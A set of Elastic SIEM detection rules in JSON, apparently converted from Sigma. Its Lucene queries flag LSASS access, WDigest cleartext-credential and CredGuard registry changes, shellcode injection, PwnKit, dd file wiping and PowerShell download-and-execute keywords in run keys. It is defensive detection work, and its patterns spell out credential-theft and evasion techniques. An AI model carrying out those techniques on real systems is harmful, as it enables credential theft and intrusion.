{"description": "Detects potential installation or installation attempts of known malicious appx packages", "author": ["Nasreddine Bencherchali"], "enabled": false, "false_positives": ["Rare occasions where a malicious package uses the exact same name and version as a legtimate application"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "073ee7b6-c6bb-7646-ed5c-704a2b9cc6bb", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Potential Malicious AppX Package Installation Attempts", "query": "(winlog.event_id:(\"400\" OR \"401\") AND PackageFullName:*3669e262\\-ec02\\-4e9d\\-bcb4\\-3d008b4afac9*)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion"], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", "", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects potential installation or installation attempts of known malicious appx packages", "author": ["Nasreddine Bencherchali"], "enabled": false, "false_positives": ["Rare occasions where a malicious package uses the exact same name and version as a legtimate application"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "073ee7b6-c6bb-7646-ed5c-704a2b9cc6bb", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Potential Malicious AppX Package Installation Attempts", "query": "(winlog.event_id:(\"400\" OR \"401\") AND PackageFullName:*3669e262\\-ec02\\-4e9d\\-bcb4\\-3d008b4afac9*)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion"], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", "", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects potential malicious modification of run keys by winekey or team9 backdoor", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "fabf2f6f-eb3b-6509-d8f9-086ee1408a0f", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "WINEKEY Registry Modification", "query": "winlog.event_data.TargetObject:*Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\\\\Backup\\ Mgr", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1547"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1547", "name": "Boot or Logon Autostart Execution", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["omkar72"], "license": ""}
{"description": "Detects potential malicious modification of the property value of fDenyTSConnections and UserAuthentication to enable remote desktop connections.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "63b220a5-e78d-cdd8-f77f-c3cd04b4824a", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "RDP Registry Modification", "query": "(winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:(*\\\\CurrentControlSet\\\\Control\\\\Terminal\\ Server\\\\WinStations\\\\RDP\\-Tcp\\\\UserAuthentication OR *\\\\CurrentControlSet\\\\Control\\\\Terminal\\ Server\\\\fDenyTSConnections) AND winlog.event_data.Details:\"DWORD\\ \$0x00000000\$\")", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1112"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1112", "name": "Modify Registry", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Roberto Rodriguez @Cyb3rWard0g"], "license": ""}
{"description": "Detects potential malicious modification of the property value of IsCredGuardEnabled from HKLM:\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest to disable Cred Guard on a system. This is usually used with UseLogonCredential to manipulate the caching credentials.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "a37c1b35-3dea-49d1-3298-c893d96a6e46", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "Wdigest CredGuard Registry Modification", "query": "winlog.event_data.TargetObject:*\\\\IsCredGuardEnabled", "meta": {"from": "1m"}, "severity": "critical", "tags": ["Defense Evasion", "T1112"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1112", "name": "Modify Registry", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Roberto Rodriguez (Cyb3rWard0g)", "OTR (Open Threat Research)"], "license": ""}
{"description": "Detects potential malicious modification of the property value of UseLogonCredential from HKLM:\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest to enable clear-text credentials", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "5ac8d324-9ddc-eff6-8901-02d84bee2f6d", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Wdigest Enable UseLogonCredential", "query": "(winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:*WDigest\\\\UseLogonCredential AND winlog.event_data.Details:\"DWORD\\ \$0x00000001\$\")", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1112"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1112", "name": "Modify Registry", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Roberto Rodriguez (Cyb3rWard0g)", "OTR (Open Threat Research)"], "license": ""}
{"description": "Detects potential mimikatz-like tools accessing LSASS from non system account", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "df215ff1-b725-183b-6a3b-a9164e50b077", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "LSASS Access from Non System Account", "query": "(winlog.channel:\"Security\" AND (winlog.event_id:(\"4663\" OR \"4656\") AND winlog.event_data.AccessMask:(\"0x40\" OR \"0x1400\" OR \"0x100000\" OR \"0x1410\" OR \"0x1010\" OR \"0x1438\" OR \"0x143a\" OR \"0x1418\" OR \"0x1f0fff\" OR \"0x1f1fff\" OR \"0x1f2fff\" OR \"0x1f3fff\" OR \"40\" OR \"1400\" OR \"1000\" OR \"100000\" OR \"1410\" OR \"1010\" OR \"1438\" OR \"143a\" OR \"1418\" OR \"1f0fff\" OR \"1f1fff\" OR \"1f2fff\" OR \"1f3fff\") AND winlog.event_data.ObjectType:\"Process\" AND winlog.event_data.ObjectName:*\\\\lsass.exe) AND (NOT ((winlog.event_data.SubjectUserName:*$) OR (winlog.event_data.ProcessName:C\\:\\\\Program\\ Files*) OR (winlog.event_data.ProcessName:\"C\\:\\\\Windows\\\\System32\\\\wbem\\\\WmiPrvSE.exe\" AND winlog.event_data.AccessMask:\"0x1410\"))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Credential Access", "T1003"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1003", "name": "OS Credential Dumping", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Roberto Rodriguez @Cyb3rWard0g"], "license": ""}
{"description": "Detects potential NT API stub patching as seen used by the project PatchingAPI", "author": ["frack113"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "1e120792-44ff-123a-1343-b04899d0255d", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Potential NT API Stub Patching", "query": "((winlog.event_data.GrantedAccess:\"0x1FFFFF\" AND winlog.event_data.CallTrace:C\\:\\\\Windows\\\\SYSTEM32\\\\ntdll.dll\\+* AND winlog.event_data.CallTrace:*|UNKNOWN\$* AND winlog.event_data.CallTrace:*\$) AND (NOT (((process.executable.text:(C\\:\\\\Program\\ Files\\\\* OR C\\:\\\\Program\\ Files\\ \$x86\$\\\\* OR C\\:\\\\Windows\\\\System32\\\\* OR C\\:\\\\Windows\\\\SysWOW64\\\\*) AND winlog.event_data.TargetImage:(C\\:\\\\Program\\ Files\\\\* OR C\\:\\\\Program\\ Files\\ \$x86\$\\\\* OR C\\:\\\\Windows\\\\System32\\\\* OR C\\:\\\\Windows\\\\SysWOW64\\\\*))) OR ((process.executable.text:C\\:\\\\Windows\\\\Temp\\\\asgard2\\-agent\\\\* AND process.executable.text:*\\\\thor\\\\thor64.exe)))))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1562"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1562", "name": "Impair Defenses", "reference": ""}]}], "version": 1, "references": ["", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects potential overwriting and deletion of a file using DD.", "enabled": false, "false_positives": ["Any user deleting files that way."], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "c936f054-7b3f-692d-81ee-58519c9e758a", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "DD File Overwrite", "query": "(process.executable:(\"\\/bin\\/dd\" OR \"\\/usr\\/bin\\/dd\") AND process.command_line:*of\\=* AND process.command_line:(*if\\=\\/dev\\/zero* OR *if\\=\\/dev\\/null*))", "meta": {"from": "1m"}, "severity": "low", "tags": ["T1485"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0034", "reference": "", "name": "Impact"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1485", "name": "Data Destruction", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Roberto Rodriguez (Cyb3rWard0g)", "OTR (Open Threat Research)", "MSTIC"], "license": ""}
{"description": "Detects potential persistence activity via the registering of a new custom protocole handlers. While legitimate applications register protocole handlers often times during installation. And attacker can abuse this by setting a custom handler to be used as a persistence mechanism.", "author": ["Nasreddine Bencherchali"], "enabled": false, "false_positives": ["Legitimate applications registering a new custom protocol handler"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "e628b833-071a-22ea-dedf-6cbe4115c865", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Potential Persistence Via Custom Protocol Handler", "query": "((winlog.event_data.TargetObject:HKCR\\\\* AND winlog.event_data.Details:URL\\:*) AND (NOT ((winlog.event_data.Details:URL\\:ms\\-*) OR (process.executable.text:(C\\:\\\\Program\\ Files\\\\* OR C\\:\\\\Program\\ Files\\ \$x86\$* OR C\\:\\\\Windows\\\\*)))))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1112"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1112", "name": "Modify Registry", "reference": ""}]}], "version": 1, "references": [""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects potential persistence using Appx DebugPath", "author": ["frack113"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "04c43d67-1a02-72f8-f54e-f56a80be9c70", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Potential Persistence Using DebugPath", "query": "(winlog.event_data.EventType:\"SetValue\" AND (((winlog.event_data.TargetObject:*Classes\\\\ActivatableClasses\\\\Package\\\\Microsoft.* AND winlog.event_data.TargetObject:*\\\\DebugPath)) OR ((winlog.event_data.TargetObject:*\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\PackagedAppXDebug\\\\Microsoft.* AND winlog.event_data.TargetObject:*\\\\\$Default\$))))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1546"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1546", "name": "Event Triggered Execution", "reference": ""}]}], "version": 1, "references": ["", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects potential PowerShell commands or code within registry run keys", "author": ["frack113", "Florian Roth"], "enabled": false, "false_positives": ["Legitimate admin or third party scripts. Baseline according to your environnement"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "aaa15adc-cd4a-09b9-adbd-430749515302", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Suspicious Powershell In Registry Run Keys", "query": "(winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:*\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run* AND winlog.event_data.Details:(*powershell* OR *pwsh\\ * OR *FromBase64String* OR *.DownloadFile\\(* OR *.DownloadString\\(* OR *\\ \\-w\\ hidden\\ * OR *\\ \\-w\\ 1\\ * OR *\\-windowstyle\\ hidden* OR *\\-window\\ hidden* OR *\\ \\-nop\\ * OR *\\ \\-encodedcommand\\ * OR *\\-ExecutionPolicy\\ Bypass* OR *Invoke\\-Expression* OR *IEX\\ \\(* OR *Invoke\\-WebRequest* OR *IWR\\ * OR *\\ \\-noni\\ * OR *\\ \\-noninteractive\\ *))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1547"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1547", "name": "Boot or Logon Autostart Execution", "reference": ""}]}], "version": 1, "references": ["", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects potential privilege escalation attempt via the creation of the \"*.Exe.Local\" folder inside the \"System32\" directory in order to sideload \"comctl32.dll\"", "author": ["Nasreddine Bencherchali", "Subhash P (@pbssubhash)"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "518cf619-43dd-6f4b-9434-f32b97c8353d", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Potential Privilege Escalation Attempt Via .Exe.Local Technique", "query": "(file.path.text:(C\\:\\\\Windows\\\\System32\\\\logonUI.exe.local* OR C\\:\\\\Windows\\\\System32\\\\werFault.exe.local* OR C\\:\\\\Windows\\\\System32\\\\consent.exe.local* OR C\\:\\\\Windows\\\\System32\\\\narrator.exe.local* OR C\\:\\\\Windows\\\\System32\\\\wermgr.exe.local*) AND file.path.text:*\\\\comctl32.dll)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "Privilege Escalation"], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects potential PwnKit exploitation CVE-2021-4034 in auth logs", "author": ["Sreeman"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "6a69e24a-a5b8-aa48-ea18-acd42648551b", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "PwnKit Local Privilege Escalation", "query": "(*pkexec* AND *The value for environment variable XAUTHORITY contains suscipious content* AND *[USER=root] [TTY=/dev/pts/0]*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Privilege Escalation", "T1548"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1548", "name": "Abuse Elevation Control Mechanism", "reference": ""}]}], "version": 1, "references": [""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects potential PwnKit exploitation CVE-2021-4034 in auth logs", "author": ["Sreeman"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "6a69e24a-a5b8-aa48-ea18-acd42648551b", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "PwnKit Local Privilege Escalation", "query": "(*pkexec* AND *The value for environment variable XAUTHORITY contains suscipious content* AND *[USER=root] [TTY=/dev/pts/0]*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Privilege Escalation", "T1548"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1548", "name": "Abuse Elevation Control Mechanism", "reference": ""}]}], "version": 1, "references": [""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects potential shellcode injection used by tools such as Metasploit's migrate and Empire's psinject", "author": ["Bhabesh Raj"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "ceb89cf3-8b6d-bb43-5afe-ff5893a624bc", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Potential Shellcode Injection", "query": "((winlog.event_data.GrantedAccess:(\"0x147a\" OR \"0x1f3fff\") AND winlog.event_data.CallTrace:*UNKNOWN*) AND (NOT (((process.executable.text:(C\\:\\\\Program\\ Files\\\\Dell\\\\* OR C\\:\\\\Program\\ Files\\ \$x86\$\\\\Dell\\\\*) AND winlog.event_data.TargetImage:(C\\:\\\\Program\\ Files\\\\Dell\\\\* OR C\\:\\\\Program\\ Files\\ \$x86\$\\\\Dell\\\\*) AND winlog.event_data.GrantedAccess:\"0x1F3FFF\" AND winlog.event_data.CallTrace:C\\:\\\\Windows\\\\System32\\\\ntdll.dll*)) OR ((process.executable.text:\"C:\\Program Files (x86)\\Dell\\UpdateService\\ServiceShell.exe\" AND winlog.event_data.TargetImage:\"C:\\Windows\\Explorer.EXE\" AND winlog.event_data.GrantedAccess:\"0x1F3FFF\" AND winlog.event_data.CallTrace:C\\:\\\\Windows\\\\System32\\\\ntdll.dll*)) OR ((process.executable.text:(\"C:\\Program Files\\Microsoft Visual Studio\\2022\\Community\\Common7\\IDE\\PerfWatson2.exe\" OR \"C:\\Program Files (x86)\\Microsoft Visual Studio\\2019\\Community\\Common7\\IDE\\PerfWatson2.exe\") AND winlog.event_data.TargetImage:(\"C:\\Program Files\\Microsoft Visual Studio\\2022\\Community\\Common7\\IDE\\devenv.exe\" OR \"C:\\Program Files (x86)\\Microsoft Visual Studio\\2019\\Community\\Common7\\IDE\\devenv.exe\") AND winlog.event_data.CallTrace:C\\:\\\\Windows\\\\System32\\\\ntdll.dll*)) OR ((process.executable.text:C\\:\\\\Program\\ Files\\\\Microsoft\\ Visual\\ Studio\\\\* AND process.executable.text:*\\\\MSBuild\\\\Current\\\\Bin\\\\MSBuild.exe AND winlog.event_data.TargetImage:\"C:\\Program Files\\Dell\\DellDataVault\\DDVDataCollector.exe\")) OR ((process.executable.text:\"C:\\Windows\\System32\\Wbem\\Wmiprvse.exe\" AND winlog.event_data.TargetImage:\"C:\\Windows\\system32\\lsass.exe\" AND winlog.event_data.CallTrace:C\\:\\\\Windows\\\\SYSTEM32\\\\ntdll.dll* AND winlog.event_data.CallTrace:*\\\\System.ni.dll\\+*)))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "Privilege Escalation", "T1055"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1055", "name": "Process Injection", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1055", "name": "Process Injection", "reference": ""}]}], "version": 1, "license": "", "references": [""], "timestamp_override": "event.ingested"}
{"description": "Detects potential suspicious behaviour using secedit.exe. Such as exporting or modifying the security policy", "author": ["Janantha Marasinghe"], "enabled": false, "false_positives": ["Legitimate administrative use"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "752fde1f-0022-e090-c138-dc61ff59f952", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Potential Suspicious Activity Using SeCEdit", "query": "(((process.executable.text:*\\\\secedit.exe) OR (winlog.event_data.OriginalFileName:\"SeCEdit\")) AND (((process.command_line.text:*\\/export* AND process.command_line.text:*\\/cfg*)) OR ((process.command_line.text:*\\/configure* AND process.command_line.text:*\\/db*))))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Credential Access", "Defense Evasion", "Privilege Escalation", "T1082", "T1505", "T1546", "T1546", "T1547", "T1547", "T1547", "T1547", "T1556", "T1557", "T1562", "T1562", "T1564", "T1574"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1505", "name": "Server Software Component", "reference": ""}, {"id": "T1546", "name": "Event Triggered Execution", "reference": ""}, {"id": "T1546", "name": "Event Triggered Execution", "reference": ""}, {"id": "T1547", "name": "Boot or Logon Autostart Execution", "reference": ""}, {"id": "T1547", "name": "Boot or Logon Autostart Execution", "reference": ""}, {"id": "T1547", "name": "Boot or Logon Autostart Execution", "reference": ""}, {"id": "T1547", "name": "Boot or Logon Autostart Execution", "reference": ""}, {"id": "T1556", "name": "Modify Authentication Process", "reference": ""}, {"id": "T1574", "name": "Hijack Execution Flow", "reference": ""}]}, {"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1546", "name": "Event Triggered Execution", "reference": ""}, {"id": "T1546", "name": "Event Triggered Execution", "reference": ""}, {"id": "T1547", "name": "Boot or Logon Autostart Execution", "reference": ""}, {"id": "T1547", "name": "Boot or Logon Autostart Execution", "reference": ""}, {"id": "T1547", "name": "Boot or Logon Autostart Execution", "reference": ""}, {"id": "T1547", "name": "Boot or Logon Autostart Execution", "reference": ""}, {"id": "T1574", "name": "Hijack Execution Flow", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1556", "name": "Modify Authentication Process", "reference": ""}, {"id": "T1562", "name": "Impair Defenses", "reference": ""}, {"id": "T1562", "name": "Impair Defenses", "reference": ""}, {"id": "T1564", "name": "Hide Artifacts", "reference": ""}, {"id": "T1574", "name": "Hijack Execution Flow", "reference": ""}]}, {"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1556", "name": "Modify Authentication Process", "reference": ""}, {"id": "T1557", "name": "Adversary-in-the-Middle", "reference": ""}]}, {"tactic": {"id": "TA0007", "reference": "", "name": "Discovery"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1082", "name": "System Information Discovery", "reference": ""}]}], "version": 1, "references": ["", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects potential use of CreateRemoteThread api and LoadLibrary function to inject DLL into a process", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "aff5b730-170a-2ce2-e97a-9edf348f8e53", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "CreateRemoteThread API and LoadLibrary", "query": "(winlog.event_data.StartModule:*\\\\kernel32.dll AND StartFunction:\"LoadLibraryA\")", "meta": {"from": "1m"}, "severity": "critical", "tags": ["Defense Evasion", "T1055"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1055", "name": "Process Injection", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Roberto Rodriguez @Cyb3rWard0g"], "license": ""}
{"description": "Detects potential use of Rubeus via registered new trusted logon process", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "3a2ef138-87e0-4f20-81c4-9f0a4e6a6b62", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Register new Logon Process by Rubeus", "query": "(winlog.channel:\"Security\" AND winlog.event_id:\"4611\" AND winlog.event_data.LogonProcessName:\"User32LogonProcesss\")", "meta": {"from": "1m"}, "severity": "high", "tags": ["Lateral Movement", "Privilege Escalation", "T1558"], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Roberto Rodriguez (source)", "Ilyas Ochkov (rule)", "oscd.community"], "license": ""}
{"description": "Detects potential use of UIPromptForCredentials functions by looking for some of the DLLs needed for it.", "enabled": false, "false_positives": ["Other legitimate processes loading those DLLs in your environment."], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "686a2cb6-2a91-6eaa-21d6-d112454f9822", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "UIPromptForCredentials DLLs", "query": "((dll.path:(*\\\\credui.dll OR *\\\\wincredui.dll) OR winlog.event_data.OriginalFileName:(\"credui.dll\" OR \"wincredui.dll\")) AND (NOT ((process.executable.text:(C\\:\\\\Windows\\\\System32\\\\* OR C\\:\\\\Windows\\\\SysWOW64\\\\* OR C\\:\\\\Program\\ Files\\\\* OR C\\:\\\\Program\\ Files\\ \$x86\$\\\\*)) OR (process.executable.text:(*\\\\opera_autoupdate.exe OR *\\\\procexp64.exe OR *\\\\procexp.exe)) OR (process.executable.text:(\"C\\:\\\\Windows\\\\ImmersiveControlPanel\\\\SystemSettings.exe\" OR \"C\\:\\\\Windows\\\\explorer.exe\")) OR (process.executable.text:C\\:\\\\Users\\\\* AND process.executable.text:(*\\\\AppData\\\\Roaming\\\\Spotify\\\\Spotify.exe OR *\\\\AppData\\\\Local\\\\Microsoft\\\\Teams\\\\current\\\\Teams.exe)) OR (process.executable.text:C\\:\\\\Users\\\\* AND process.executable.text:*\\\\AppData\\\\Local\\\\Microsoft\\\\OneDrive\\\\*) OR (process.executable.text:\"C\\:\\\\Windows\\\\regedit.exe\") OR (Provider_Name:\"Microsoft\\-Windows\\-Kernel\\-Process\" AND process.command_line.text:*C\\:\\\\Program\\ Files\\\\WindowsApps\\\\SpotifyAB.SpotifyMusic_*))))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Credential Access", "T1056"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1056", "name": "Input Capture", "reference": ""}]}, {"tactic": {"id": "TA0009", "reference": "", "name": "Collection"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1056", "name": "Input Capture", "reference": ""}]}], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["Roberto Rodriguez (Cyb3rWard0g)", "OTR (Open Threat Research)"], "license": ""}
{"description": "Detects PowerShell called from an executable by the version mismatch method", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "9c2f36db-8205-b89e-0ea4-4bfbfd56b61f", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "PowerShell Called from an Executable Version Mismatch", "query": "(winlog.event_data.EngineVersion:(2.* OR 4.* OR 5.*) AND winlog.event_data.HostVersion:3.*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Sean Metcalf (source)", "Florian Roth (rule)"], "license": ""}
{"description": "Detects PowerShell calling a credential prompt", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "d82e1e47-6294-4cbd-25db-68744583eed6", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "PowerShell Credential Prompt", "query": "powershell.file.script_block_text:*PromptForCredential*", "meta": {"from": "1m"}, "severity": "high", "tags": ["Credential Access", "T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["John Lambert (idea)", "Florian Roth (rule)"], "license": ""}
